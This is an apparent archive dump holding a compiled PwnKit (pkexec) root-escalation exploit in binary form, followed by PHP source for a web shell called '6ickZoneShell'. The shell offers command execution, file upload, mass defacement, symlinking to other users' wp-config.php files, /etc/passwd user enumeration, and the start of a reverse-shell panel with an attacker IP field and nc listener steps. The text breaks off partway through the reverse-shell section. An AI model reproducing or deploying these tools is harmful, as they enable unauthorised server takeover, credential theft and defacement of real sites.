"4G V j|)4�����R�]�����	"%7K^t�X������  ��0 );PJ^�  ew�	@call_gmon_startcrtstuff.c__CTOR_LIST____DTOR_LIST____JCR_LIST____do_global_dtors_auxcompleted.6352dtor_idx.6354frame_dummy__CTOR_END____FRAME_END____JCR_END____do_global_ctors_auxPwnKit.c_GLOBAL_OFFSET_TABLE___dso_handle__DTOR_END___DYNAMICunlink_cbsymlink@@GLIBC_2.2.5dup2@@GLIBC_2.2.5close@@GLIBC_2.2.5__gmon_start___Jv_RegisterClassesputs@@GLIBC_2.2.5rmrf_finiread@@GLIBC_2.2.5fopen@@GLIBC_2.2.5gconventrysetresuid@@GLIBC_2.2.5_exit@@GLIBC_2.2.5execvpe@@GLIBC_2.11creat@@GLIBC_2.2.5__cxa_finalize@@GLIBC_2.2.5pipe@@GLIBC_2.2.5strstr@@GLIBC_2.2.5fputs@@GLIBC_2.2.5readlink@@GLIBC_2.2.5execve@@GLIBC_2.2.5gconv_initsetresgid@@GLIBC_2.2.5memcpy@@GLIBC_2.2.5getenv@@GLIBC_2.2.5__errno_location@@GLIBC_2.2.5__bss_start_endfclose@@GLIBC_2.2.5remove@@GLIBC_2.2.5fork@@GLIBC_2.2.5service_interpperror@@GLIBC_2.2.5_edatanftw@@GLIBC_2.3.3mkdir@@GLIBC_2.2.5_initPK!7/GCONV_PATH=./.pkexecnuȯ��PK!7/.mad-rootnu�[���PK!C�!)�+�+7/pwnkitnuȯ��ELF>]@H@8@@@@��PPP\\ `` ` �� �� � ��$$P�tdlll44Q�tdGNU���Mlt,0+F�H,��
�����b#&bV�`��|�
�CE��4�R��qX���z��)|q�|���	@��� % ������"�����
��v�R�Yep�Rj]�1�0 9P�  �X%�  �	@H�
=`)4�__gmon_start___fini__cxa_finalize_Jv_RegisterClassesservice_interpunlink_cbremoveperrorrmrfnftwentrymkdir__errno_location_exitcreatfopenfputsfclosereadlinksymlinkpipeforkreadstrstrdup2memcpyexecveexecvpegconvgconv_initgetenvsetresuidsetresgidlibc.so.6_edata__bss_start_endGLIBC_2.3.3GLIBC_2.11GLIBC_2.2.5si	6���Bui	M� �  &   ( H P X ` h 'p x 	� 
� � � 
� � � � � � � � � � � �     H�����r�H���5� �%� @�%� h����%� h�����%� h����%� h����%� h����%� h����%� h����%� h�p����%� h�`����%� h	�P����%� h
�@����%� h�0����%z h� ����%r h
�����%j h�����%b h���%Z h����%R h�����%J h����%B h����%: h����%2 h����%* h����%" h�p����% h�`����% h�P����%
 h�@���H��H��	 H��t��H����������U�=�
 H��ATSubH�=�	 tH�=' ���H� L�%� H��
 L)�H��H��H9�s DH��H��
 A��H��
 H9�r��n
 [A\��f�H�=� UH��tH�K	 H��tH�=� ��@�Ð�UH��H��0H�}�H�u�U�H�M�H�E�H������E��}�tH�E�H�������E���UH��SH��H�}�H�E�	�@H�� H��H�����H��[��UH��H��H��H����E�H��H��H�E���H�=-�x����E܃}�u"�
������tH�=�7�����-�����H�=�<����Eܾ�H�=�(����E�H�H�H��H������H�E�H�}�uH�=���������H�H�U�H��H��������yH�=�������H�E�H���_���H�H�����H��H�����Ƅ��H����H�5�H�������E܃}�uH�=��>�����4���H����H���e������������������������H������H�Ή����Ƅ��H����H�5�H���!���H��H����H9�u$H�=��f���H�=�j���H�=��^��������������'������������������������H�E��}�~'H�E�H��H�H���H�5>H������H�E�HDž��H�.H����H�H����H�H����H�H����H�E�H����HDž��H����H����H��H�=��=���H����H����H��H�=��������UH����UH��H��P����������H�=�����H�E�����;����������H�=���H�=1����H�}�t@H�^H�E�H�[H�E�H�E�H�E�H�E�H�E��H��H�=,�Z����VH�)H�E�H�E�H�EкH��H�=
�-���H��H�E�H�E�H�E�H��H�=�������x���UH��SH��H�� H���tH�� H����H�H���u�H��[��H�����H���GCONV_PATH=.Failed to create directoryGCONV_PATH=./.pkexec.pkexecw+.pkexec/gconv-modulesFailed to open output filemodule UTF-8// PKEXEC// pkexec 2Failed to write config/proc/self/exe.pkexec/pkexec.soFailed to copy filepkexec --versionExploit failed. Target is most likely patched.CMD=PATH=GCONV_PATH=.CHARSET=pkexecSHELL=pkexec/usr/bin/pkexecpkexecCMD/bin/sh-c-i/bin/bash/lib64/ld-linux-x86-64.so.2;0����L����l��������zRx�,���=A�C
x<I���4A�C
^�Q\]����A�C
|2���A�C
A����A�C
����������������� @
����o(Px
Y0 ��@x	���o���o�o����o� n~��������.>N^n~��������
GCC: (GNU) 4.4.7 20120313 (Red Hat 4.4.7-18).symtab.strtab.shstrtab.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.text.fini.rodata.interp.eh_frame_hdr.eh_frame.ctors.dtors.jcr.data.rel.ro.dynamic.got.got.plt.bss.comment$.���o((P8xx�@PPYH���o��RU���o@d@@xn���
x@@sXX�~ 
 
���������PP�ll4�����` `�p p�� ��� ��� ���  �0 0��   �0 -M�� �-	h(�(xP�@�	@
X 
�
�Pl�` p � � �  0    
�` *p 8� E@
[  j( x�
��h �X�� �p����0 �� �x �� �
=
"4G V j|)4�����R�]�����	"%7K^t�X������  ��0 );PJ^�  ew�	@call_gmon_startcrtstuff.c__CTOR_LIST____DTOR_LIST____JCR_LIST____do_global_dtors_auxcompleted.6352dtor_idx.6354frame_dummy__CTOR_END____FRAME_END____JCR_END____do_global_ctors_auxPwnKit.c_GLOBAL_OFFSET_TABLE___dso_handle__DTOR_END___DYNAMICunlink_cbsymlink@@GLIBC_2.2.5dup2@@GLIBC_2.2.5close@@GLIBC_2.2.5__gmon_start___Jv_RegisterClassesputs@@GLIBC_2.2.5rmrf_finiread@@GLIBC_2.2.5fopen@@GLIBC_2.2.5gconventrysetresuid@@GLIBC_2.2.5_exit@@GLIBC_2.2.5execvpe@@GLIBC_2.11creat@@GLIBC_2.2.5__cxa_finalize@@GLIBC_2.2.5pipe@@GLIBC_2.2.5strstr@@GLIBC_2.2.5fputs@@GLIBC_2.2.5readlink@@GLIBC_2.2.5execve@@GLIBC_2.2.5gconv_initsetresgid@@GLIBC_2.2.5memcpy@@GLIBC_2.2.5getenv@@GLIBC_2.2.5__errno_location@@GLIBC_2.2.5__bss_start_endfclose@@GLIBC_2.2.5remove@@GLIBC_2.2.5fork@@GLIBC_2.2.5service_interpperror@@GLIBC_2.2.5_edatanftw@@GLIBC_2.3.3mkdir@@GLIBC_2.2.5_initPK!A�W����7/h2dg3s/6i1wy.phpnu�[���<?php
/**
 * 6ickZoneShell Manager by 0x6ick x Nyx6st | Copyright 2025 by 6ickwhispers@gmail.com
 * --- RE-ORGANIZED MENU VERSION by Nyx6st ---
 * All features integrated, with new menu layout and network tools.
 **/
error_reporting(0);
session_start();
@ini_set('output_buffering', 0);
@ini_set('display_errors', 0);
ini_set('memory_limit', '256M');
header('Content-Type: text/html; charset=UTF-8');
ob_end_clean();

// --- CONFIG ---
$title = "ヤミRoot VoidGate";
$author = "0x6ick";
$theme_bg = "#0a0a0f"; // Dark violet-black cyber base
$theme_fg = "#E0FF00"; // Neon yellow text
$theme_highlight = "#FF00C8"; // Pink cyber glow
$theme_link = "#00FFF7"; // Electric cyan
$theme_link_hover = "#FF00A0"; // Pink on hover
$theme_border_color = "#7D00FF"; // Neon purple border
$theme_table_header_bg = "#1a0025"; // Dark purple-ish header
$theme_table_row_hover = "#330033"; // Deep glitch violet
$theme_input_bg = "#120024"; // Dark form input bg
$theme_input_fg = "#00FFB2"; // Neon greenish-cyan input text
$font_family = "'Orbitron', sans-serif"; // Futuristic mecha font
$message_success_color = "#39FF14"; // Bright lime green
$message_error_color = "#FF0033"; // Neon blood red

// --- FUNCTIONS ---
function sanitizeFilename($filename) { return basename($filename); }
function exe($cmd) { if (function_exists('exec')) { exec($cmd . ' 2>&1', $output); return implode("\n", $output); } elseif (function_exists('shell_exec')) { return shell_exec($cmd); } elseif (function_exists('passthru')) { ob_start(); passthru($cmd); return ob_get_clean(); } elseif (function_exists('system')) { ob_start(); system($cmd); return ob_get_clean(); } return "Command execution disabled."; }
function perms($file){ $perms = @fileperms($file); if ($perms === false) return '????'; if (($perms & 0xC000) == 0xC000) $info = 's'; elseif (($perms & 0xA000) == 0xA000) $info = 'l'; elseif (($perms & 0x8000) == 0x8000) $info = '-'; elseif (($perms & 0x6000) == 0x6000) $info = 'b'; elseif (($perms & 0x4000) == 0x4000) $info = 'd'; elseif (($perms & 0x2000) == 0x2000) $info = 'c'; elseif (($perms & 0x1000) == 0x1000) $info = 'p'; else $info = 'u'; $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; }
function delete_recursive($target) { if (!file_exists($target)) return true; if (!is_dir($target)) return unlink($target); foreach (scandir($target) as $item) { if ($item == '.' || $item == '..') continue; if (!delete_recursive($target . DIRECTORY_SEPARATOR . $item)) return false; } return rmdir($target); }
function zip_add_folder($zip, $folder, $base_path_length) { $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($folder), RecursiveIteratorIterator::LEAVES_ONLY); foreach ($files as $file) { if (!$file->isDir()) { $file_path = $file->getRealPath(); $relative_path = substr($file_path, $base_path_length); $zip->addFile($file_path, $relative_path); } } }
function redirect_with_message($msg_type = '', $msg_text = '', $current_path = '') { global $path; $redirect_path = !empty($current_path) ? $current_path : $path; $params = ['path' => $redirect_path]; if ($msg_type) $params['msg_type'] = $msg_type; if ($msg_text) $params['msg_text'] = $msg_text; header("Location: ?" . http_build_query($params)); exit(); }

// --- INITIAL SETUP & PATH ---
$path = realpath(isset($_GET['path']) ? $_GET['path'] : getcwd());
$path = str_replace('\\','/',$path);

// --- HANDLERS FOR ACTIONS THAT REDIRECT ---
if(isset($_POST['start_mass_deface'])) { $mass_deface_results = ''; function mass_deface_recursive($dir, $file, $content, &$res) { if(!is_writable($dir)) {$res .= "[<font color=red>FAILED</font>] ".htmlspecialchars($dir)."<br>"; return;} foreach(scandir($dir) as $item) { if($item === '.' || $item === '..') continue; $lokasi = $dir.DIRECTORY_SEPARATOR.$item; if(is_dir($lokasi)) { if(is_writable($lokasi)) { file_put_contents($lokasi.DIRECTORY_SEPARATOR.$file, $content); $res .= "[<font color=lime>DONE</font>] ".htmlspecialchars($lokasi.DIRECTORY_SEPARATOR.$file)."<br>"; mass_deface_recursive($lokasi, $file, $content, $res); } else { $res .= "[<font color=red>FAILED</font>] ".htmlspecialchars($lokasi)."<br>"; } } } } function mass_deface_flat($dir, $file, $content, &$res) { if(!is_writable($dir)) {$res .= "[<font color=red>FAILED</font>] ".htmlspecialchars($dir)."<br>"; return;} foreach(scandir($dir) as $item) { if($item === '.' || $item === '..') continue; $lokasi = $dir.DIRECTORY_SEPARATOR.$item; if(is_dir($lokasi) && is_writable($lokasi)) { file_put_contents($lokasi.DIRECTORY_SEPARATOR.$file, $content); $res .= "[<font color=lime>DONE</font>] ".htmlspecialchars($lokasi.DIRECTORY_SEPARATOR.$file)."<br>"; } } } if($_POST['tipe_sabun'] == 'mahal') mass_deface_recursive($_POST['d_dir'], $_POST['d_file'], $_POST['script_content'], $mass_deface_results); else mass_deface_flat($_POST['d_dir'], $_POST['d_file'], $_POST['script_content'], $mass_deface_results); $_SESSION['feature_output'] = $mass_deface_results; redirect_with_message('success', 'Mass Deface Selesai!', $path); }
if(isset($_FILES['file_upload'])){ $file_name = sanitizeFilename($_FILES['file_upload']['name']); if(copy($_FILES['file_upload']['tmp_name'], $path.'/'.$file_name)) redirect_with_message('success', 'UPLOAD SUCCESS: ' . $file_name, $path); else redirect_with_message('error', 'File Gagal Diupload !!', $path); }
if (isset($_POST['bulk_action']) && class_exists('ZipArchive')) { $action = $_POST['bulk_action']; $selected_files = isset($_POST['selected_files']) ? $_POST['selected_files'] : []; if ($action === 'zip_selected' && !empty($selected_files)) { $zip_filename = 'archive_' . date('Y-m-d_H-i-s') . '.zip'; $zip_filepath = $path . DIRECTORY_SEPARATOR . $zip_filename; $zip = new ZipArchive(); if ($zip->open($zip_filepath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) { foreach ($selected_files as $file) { $file_path = realpath($file); if (is_file($file_path)) $zip->addFile($file_path, basename($file_path)); elseif (is_dir($file_path)) zip_add_folder($zip, $file_path, strlen(dirname($file_path) . DIRECTORY_SEPARATOR)); } $zip->close(); redirect_with_message('success', 'File berhasil di-zip ke: ' . $zip_filename, $path); } else { redirect_with_message('error', 'Gagal membuat file zip!', $path); } } }
if(isset($_GET['option']) && isset($_POST['opt_action'])){ $target_full_path = $_POST['path_target']; $action = $_POST['opt_action']; $current_dir = realpath(isset($_GET['path']) ? $_GET['path'] : getcwd()); switch ($action) { case 'delete': if (delete_recursive($target_full_path)) redirect_with_message('success', 'DELETE SUCCESS !!', $current_dir); else redirect_with_message('error', 'Gagal menghapus! Periksa izin.', $current_dir); break; case 'chmod_save': if(chmod($target_full_path, octdec($_POST['perm_value']))) redirect_with_message('success', 'CHMOD SUCCESS !!', $current_dir); else redirect_with_message('error', 'CHMOD Gagal !!', $current_dir); break; case 'rename_save': $new_full_path = dirname($target_full_path).'/'.sanitizeFilename($_POST['new_name_value']); if(rename($target_full_path, $new_full_path)) redirect_with_message('success', 'RENAME SUCCESS !!', $current_dir); else redirect_with_message('error', 'RENAME Gagal !!', $current_dir); break; case 'edit_save': if(is_writable($target_full_path)) { if(file_put_contents($target_full_path, $_POST['src_content'])) redirect_with_message('success', 'EDIT SUCCESS !!', $current_dir); else redirect_with_message('error', 'Edit File Gagal !!', $current_dir); } else { redirect_with_message('error', 'File tidak writable!', $current_dir); } break; case 'extract_save': if (class_exists('ZipArchive')) { $zip = new ZipArchive; if ($zip->open($target_full_path) === TRUE) { $zip->extractTo($current_dir); $zip->close(); redirect_with_message('success', 'File berhasil diekstrak!', $current_dir); } else { redirect_with_message('error', 'Gagal membuka file zip!', $current_dir); } } else { redirect_with_message('error', 'Class ZipArchive tidak ditemukan!', $current_dir); } break; } }
if(isset($_GET['create_new'])) { $target_path_new = $path . '/' . sanitizeFilename($_POST['create_name']); if ($_POST['create_type'] == 'file') { if (@file_put_contents($target_path_new, '') !== false) redirect_with_message('success', 'File Baru Berhasil Dibuat', $path); else redirect_with_message('error', 'Gagal membuat file baru!', $path); } elseif ($_POST['create_type'] == 'dir') { if (@mkdir($target_path_new)) redirect_with_message('success', 'Folder Baru Berhasil Dibuat', $path); else redirect_with_message('error', 'Gagal membuat folder baru!', $path); } }
if(isset($_POST['curl_download'])) { $url = $_POST['url']; $filename = sanitizeFilename(basename($url)); if (empty($filename)) { $filename = 'downloaded_file'; } if (copy($url, $path . '/' . $filename)) { redirect_with_message('success', 'File ' . $filename . ' berhasil di-download!', $path); } else { redirect_with_message('error', 'Gagal men-download file dari URL!', $path); } }
?>
<!DOCTYPE HTML>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link href="https://fonts.googleapis.com/css2?family=Orbitron:wght@400;700&family=Kelly+Slab&display=swap" rel="stylesheet">
    <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css" rel="stylesheet"/>
    <title><?php echo htmlspecialchars($title); ?></title>
    <style>
        :root {
            --bg-color: <?php echo $theme_bg; ?>;
            --fg-color: <?php echo $theme_fg; ?>;
            --highlight-color: <?php echo $theme_highlight; ?>;
            --link-color: <?php echo $theme_link; ?>;
            --link-hover-color: <?php echo $theme_link_hover; ?>;
            --border-color: <?php echo $theme_border_color; ?>;
            --table-header-bg: <?php echo $theme_table_header_bg; ?>;
            --table-row-hover: <?php echo $theme_table_row_hover; ?>;
            --input-bg: <?php echo $theme_input_bg; ?>;
            --input-fg: <?php echo $theme_input_fg; ?>;
            --success-color: <?php echo $message_success_color; ?>;
            --error-color: <?php echo $message_error_color; ?>;
            --font-primary: <?php echo $font_family; ?>;
            --font-secondary: 'Kelly Slab', cursive;
        }

        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            font-family: var(--font-primary);
            background: linear-gradient(135deg, var(--bg-color), #1a1a2e);
            color: var(--fg-color);
            line-height: 1.6;
            min-height: 100vh;
            padding: 20px 10px;
        }

        a {
            color: var(--link-color);
            text-decoration: none;
            transition: color 0.3s ease, transform 0.2s ease;
        }

        a:hover {
            color: var(--link-hover-color);
            transform: translateY(-2px);
        }

        h1 {
            font-family: var(--font-secondary);
            font-size: 2.5rem;
            text-align: center;
            color: white;
            text-shadow: 0 0 10px var(--highlight-color);
            margin: 20px 0;
        }

        h3 {
            font-family: var(--font-secondary);
            color: var(--highlight-color);
            margin-bottom: 15px;
            text-shadow: 0 0 5px var(--highlight-color);
        }

        .container {
            max-width: 100%;
            width: 100%;
            margin: 0 auto;
            padding: 0 20px;
        }

        .system-info-table {
            width: 100%;
            border-collapse: collapse;
            margin: 20px 0;
            background: rgba(0, 0, 0, 0.3);
            border-radius: 10px;
            overflow: hidden;
        }

        .system-info-table td {
            padding: 12px;
            border-bottom: 1px solid var(--border-color);
        }

        .main-menu {
            display: flex;
            flex-wrap: wrap;
            justify-content: center;
            gap: 20px; /* Reduced gap for tighter button spacing */
            background: rgba(0, 0, 0, 0.5);
            padding: 25px;
            border-radius: 10px;
            margin: 20px 0;
            border: 1px solid var(--border-color);
            box-shadow: 0 0 15px rgba(125, 0, 255, 0.3);
        }

        .main-menu div {
            margin: 0 5px; /* Reduced margin for consistent spacing */
        }

        .main-menu a {
            padding: 12px 25px;
            border-radius: 5px;
            background: rgba(255, 255, 255, 0.05);
            transition: background 0.3s ease, transform 0.2s ease;
            min-width: 120px;
            text-align: center;
            display: inline-block;
        }

        .main-menu a:hover {
            background: var(--table-row-hover);
            transform: translateY(-3px);
        }

        .path-nav {
            background: rgba(0, 0, 0, 0.3);
            padding: 10px 15px;
            border-radius: 5px;
            margin: 15px 0;
            word-break: break-all;
        }

        .message {
            padding: 12px;
            margin: 15px 0;
            border-radius: 5px;
            text-align: center;
            font-weight: bold;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.5);
        }

        .message.success {
            background: var(--success-color);
            color: var(--bg-color);
        }

        .message.error {
            background: var(--error-color);
            color: white;
        }

        .section-box {
            background: rgba(0, 0, 0, 0.4);
            border: 1px solid var(--border-color);
            padding: 20px;
            margin: 20px 0;
            border-radius: 10px;
            box-shadow: 0 0 20px rgba(125, 0, 255, 0.2);
        }

        table {
            width: 100%;
            border-collapse: collapse;
            margin: 15px 0;
            background: rgba(0, 0, 0, 0.3);
            border-radius: 10px;
            overflow: hidden;
        }

        #content th, #content td {
            padding: 12px;
            border-bottom: 1px solid var(--border-color);
            text-align: left;
            vertical-align: middle;
        }

        #content tr:hover {
            background: var(--table-row-hover);
        }

        #content .first {
            background: var(--table-header-bg);
            font-weight: bold;
            text-transform: uppercase;
        }

        .td_home {
            padding: 12px;
            border-bottom: 1px solid var(--border-color);
        }

        input, select, textarea {
            border: 1px solid var(--link-hover-color);
            border-radius: 5px;
            background: var(--input-bg);
            color: var(--input-fg);
            font-family: var(--font-secondary);
            padding: 8px;
            transition: border-color 0.3s ease, box-shadow 0.3s ease;
        }

        input:focus, select:focus, textarea:focus {
            outline: none;
            border-color: var(--highlight-color);
            box-shadow: 0 0 8px var(--highlight-color);
        }

        input[type="submit"] {
            background: var(--input-bg);
            color: var(--fg-color);
            border: 2px solid var(--fg-color);
            cursor: pointer;
            font-weight: bold;
            padding: 8px 20px;
            margin: 0 5px;
            transition: all 0.3s ease;
        }

        input[type="submit"]:hover {
            background: var(--fg-color);
            color: var(--input-bg);
            transform: translateY(-2px);
        }

        /* New styles for form elements spacing */
        .form-group {
            margin-bottom: 15px; /* Space between form elements */
        }

        .form-group input[type="text"], .form-group input[type="submit"], .form-group select {
            margin-right: 10px; /* Space between inputs and buttons */
        }

        .form-group input[type="submit"] {
            margin-top: 10px; /* Additional top margin for submit buttons */
        }

        /* Style for reverse shell info box */
        .info-box {
            background: #222;
            border: 1px solid #444;
            padding: 15px;
            margin-bottom: 15px;
            border-radius: 5px;
            overflow: hidden; /* Prevent overflow */
        }

        .info-box ol {
            padding-left: 20px; /* Proper indentation for list */
            margin: 0; /* Remove default margin */
            word-wrap: break-word; /* Ensure text wraps */
        }

        pre {
            background: #0e0e0e;
            border: 1px solid #444;
            padding: 15px;
            border-radius: 5px;
            overflow-x: auto;
            white-space: pre-wrap;
            word-wrap: break-word;
            color: #00FFD1;
        }

        code {
            background: #333;
            color: #FFB800;
            padding: 2px 5px;
            border-radius: 3px;
        }

        details summary {
            cursor: pointer;
            background: #222;
            padding: 10px;
            border-radius: 5px;
            margin-bottom: 10px;
            transition: background 0.3s ease;
        }

        details summary:hover {
            background: var(--table-row-hover);
        }

        hr {
            border: none;
            border-top: 1px solid var(--border-color);
            margin: 20px auto;
            width: 95%;
        }

        footer {
            text-align: center;
            margin-top: 30px;
            color: #fff;
            font-size: 0.9rem;
        }

        footer b {
            color: #7e52c6;
        }

        @media (max-width: 768px) {
            h1 { font-size: 2rem; }
            .main-menu { 
                flex-direction: column;
                align-items: center;
                gap: 15px;
            }
            .main-menu div { 
                margin: 5px 0;
            }
            .main-menu a { 
                display: block; 
                margin: 10px 0;
                width: 100%; 
                max-width: 250px;
            }
            table, .system-info-table { font-size: 0.9rem; }
            .td_home { padding: 8px; }
            .form-group input[type="text"], .form-group input[type="submit"], .form-group select {
                margin-right: 0; /* Remove right margin on mobile */
                width: 100%; /* Full width on mobile */
                margin-bottom: 10px; /* Stack elements vertically */
            }
        }
    </style>
</head>
<body>
    <div class="container">
        <a href="?"><h1><?php echo htmlspecialchars($title); ?></h1></a>
        <?php
        if(isset($_GET['msg_text'])) { echo "<div class='message ".htmlspecialchars($_GET['msg_type'])."'>".htmlspecialchars($_GET['msg_text'])."</div>"; }
        if(isset($_SESSION['feature_output'])) { echo '<div class="section-box"><h3>Hasil Fitur Sebelumnya:</h3><pre>'.$_SESSION['feature_output'].'</pre></div>'; unset($_SESSION['feature_output']); }
        ?>
        <table class="system-info-table">
            <tr><td><i class='fas fa-user'></i> User / IP</td><td><?php echo $_SERVER['REMOTE_ADDR']; ?></td></tr>
            <tr><td><i class='fas fa-desktop'></i> Host / Server</td><td><?php echo gethostbyname($_SERVER['HTTP_HOST'])." / ".$_SERVER['SERVER_NAME']; ?></td></tr>
            <tr><td><i class='fas fa-hdd'></i> System</td><td><?php echo php_uname(); ?></td></tr>
        </table>
        <div class="main-menu">
            <div>
                <a href="?path=<?php echo urlencode($path); ?>&action=cmd">Command</a>
                <a href="?path=<?php echo urlencode($path); ?>&action=upload_form">Upload</a>
                <a href="?path=<?php echo urlencode($path); ?>&action=create_form">Create</a>
                <a href="?path=<?php echo urlencode($path); ?>&action=mass_deface_form">Mass Deface</a>
                <a href="?path=<?php echo urlencode($path); ?>&action=jumping">Jumping</a>
                <a href="?path=<?php echo urlencode($path); ?>&action=symlink">Symlink</a>
                <a href="?path=<?php echo urlencode($path); ?>&action=reverse_shell">Reverse Shell</a>
            </div>
            <div>
                <a href="?path=<?php echo urlencode($path); ?>&action=ping">Ping</a>
                <a href="?path=<?php echo urlencode($path); ?>&action=portscan">Port Scan</a>
                <a href="?path=<?php echo urlencode($path); ?>&action=dnslookup">DNS Lookup</a>
                <a href="?path=<?php echo urlencode($path); ?>&action=whois">Whois</a>
                <a href="?path=<?php echo urlencode($path); ?>&action=header">Header</a>
                <a href="?path=<?php echo urlencode($path); ?>&action=curl">cURL</a>
            </div>
        </div>
        <div class="path-nav">
            <i class="fas fa-folder"></i> :
            <?php
            $paths_array = explode('/', trim($path, '/'));
            echo '<a href="?path=/">/</a>';
            $current_built_path = '';
            foreach($paths_array as $pat){
                if(empty($pat)) continue;
                $current_built_path .= '/' . $pat;
                echo '<a href="?path='.urlencode($current_built_path).'">'.htmlspecialchars($pat).'</a>/';
            }
            ?>
        </div>
        <?php
        $show_file_list = true;
        if (isset($_GET['action'])) {
            $show_file_list = false;
            echo '<div class="section-box">';
            switch ($_GET['action']) {
                case 'cmd':
                    $cmd_output = (isset($_POST['do_cmd'])) ? htmlspecialchars(exe($_POST['cmd_input'])) : '';
                    echo '<h3>Execute Command</h3><form method="POST" action="?action=cmd&path='.urlencode($path).'"><div class="form-group"><input type="text" name="cmd_input" placeholder="whoami" style="width: calc(100% - 90px);" autofocus><input type="submit" name="do_cmd" value=">>" style="width: 80px;"></div></form>';
                    if($cmd_output) echo '<h4>Output:</h4><pre>'.$cmd_output.'</pre>';
                    break;
                case 'upload_form':
                    echo '<h3>Upload File</h3><form enctype="multipart/form-data" method="POST" action="?path='.urlencode($path).'"><div class="form-group"><input type="file" name="file_upload" required/><input type="submit" value="UPLOAD"/></div></form>';
                    break;
                case 'create_form':
                    echo '<h3>Create New</h3><form method="POST" action="?create_new=true&path='.urlencode($path).'"><div class="form-group"><select name="create_type"><option value="file">File</option><option value="dir">Folder</option></select> <input type="text" name="create_name" required placeholder="Nama file/folder"> <input type="submit" value="Create"></div></form>';
                    break;
                case 'mass_deface_form':
                    echo '<h3>Mass Deface</h3><form method="post" action="?path='.urlencode($path).'"><div class="form-group"><p>Tipe:<br><input type="radio" name="tipe_sabun" value="murah" checked>Biasa (1 level) | <input type="radio" name="tipe_sabun" value="mahal">Massal (Rekursif)</p></div><div class="form-group"><p>Folder Target:<br><input type="text" name="d_dir" value="'.htmlspecialchars($path).'" style="width:100%"></p></div><div class="form-group"><p>Nama File:<br><input type="text" name="d_file" value="index.html" style="width:100%"></p></div><div class="form-group"><p>Isi Script:<br><textarea name="script_content" style="width:100%;height:150px">Hacked By 0x6ick</textarea></p></div><div class="form-group"><input type="submit" name="start_mass_deface" value="GAS!" style="width:100%"></div></form>';
                    break;
                case 'jumping':
                    echo '<h3><i class="fas fa-users"></i> Jumping (User Scanner)</h3><p>Membaca <code>/etc/passwd</code> untuk menemukan semua user di server dan memeriksa akses direktori home.</p>';
                    if (is_readable('/etc/passwd')) {
                        preg_match_all('/(^[a-zA-Z0-9\._-]+):x:/m', file_get_contents('/etc/passwd'), $matches);
                        if(!empty($matches[1])){
                            echo '<table><tr class="first"><th>Username</th><th>Home Directory</th><th>Status</th><th>Aksi</th></tr>';
                            foreach ($matches[1] as $user) {
                                $home_dir = '/home/' . $user;
                                if (is_readable($home_dir)) {
                                    $status = '<font color="lime">Bisa Dibaca</font>';
                                    $action = '<a href="?path='.urlencode($home_dir).'">Jelajahi</a>';
                                } else {
                                    $status = '<font color="red">Tidak Bisa Dibaca</font>';
                                    $action = '-';
                                }
                                echo '<tr><td class="td_home">'.htmlspecialchars($user).'</td><td class="td_home">'.htmlspecialchars($home_dir).'</td><td class="td_home">'.$status.'</td><td class="td_home">'.$action.'</td></tr>';
                            }
                            echo '</table>';
                        }
                    } else {
                        echo '<p style="color:red;"><strong>Gagal:</strong> File <code>/etc/passwd</code> tidak bisa dibaca.</p>';
                    }
                    break;
                case 'symlink':
                    echo '<h3><i class="fas fa-link"></i> Symlink Creator</h3>';
                    if (!function_exists('symlink')) {
                        echo '<p style="color:red;"><strong>Gagal:</strong> Fungsi <code>symlink()</code> dinonaktifkan di server ini.</p>';
                    } else {
                        if (isset($_POST['create_symlink'])) {
                            if (symlink($_POST['target_file'], $path . DIRECTORY_SEPARATOR . sanitizeFilename($_POST['link_name']))) {
                                echo '<p style="color:lime;"><strong>Sukses!</strong> Symlink dibuat. Akses di: <a href="'.htmlspecialchars(sanitizeFilename($_POST['link_name'])).'" target="_blank">'.htmlspecialchars($path . DIRECTORY_SEPARATOR . sanitizeFilename($_POST['link_name'])).'</a></p>';
                            } else {
                                echo '<p style="color:red;"><strong>Gagal!</strong> Tidak bisa membuat symlink.</p>';
                            }
                        }
                        echo '<form method="POST" action="?action=symlink&path='.urlencode($path).'"><div class="form-group"><p>Target File (Full Path):<br><input type="text" name="target_file" style="width:100%" placeholder="/home/userlain/public_html/wp-config.php"></p></div><div class="form-group"><p>Nama Link (di direktori ini):<br><input type="text" name="link_name" style="width:100%" placeholder="config_lain.txt"></p></div><div class="form-group"><input type="submit" name="create_symlink" value="Buat Symlink"></div></form>';
                    }
                    break;
                case 'reverse_shell':
                    echo '<h3><i class="fas fa-terminal"></i> Reverse Shell</h3>';
                    if (!function_exists('fsockopen') || !function_exists('proc_open')) {
                        echo '<p style="color:red;"><strong>Gagal:</strong> Fungsi <code>fsockopen()</code> atau <code>proc_open()</code> dinonaktifkan.</p>';
                    } else {
                        $ip_attacker = isset($_POST['ip_attacker']) ? htmlspecialchars($_POST['ip_attacker']) : $_SERVER['REMOTE_ADDR'];
                        $port_attacker = isset($_POST['port_attacker']) ? htmlspecialchars($_POST['port_attacker']) : '4444';
                        echo '<div class="info-box"><h4><i class="fas fa-info-circle"></i> Cara Pakai:</h4><ol><li>Di terminalmu, jalankan listener: <code>nc -lvnp '.$port_attacker.'</code></li><li>Masukkan <strong>IP Publik</strong> komputermu di bawah.</li><li>Klik "GASKEUN!". Halaman browser ini mungkin akan terus loading (normal).</li><li>Cek terminalmu, shell server akan muncul jika berhasil.</li></ol></div>';
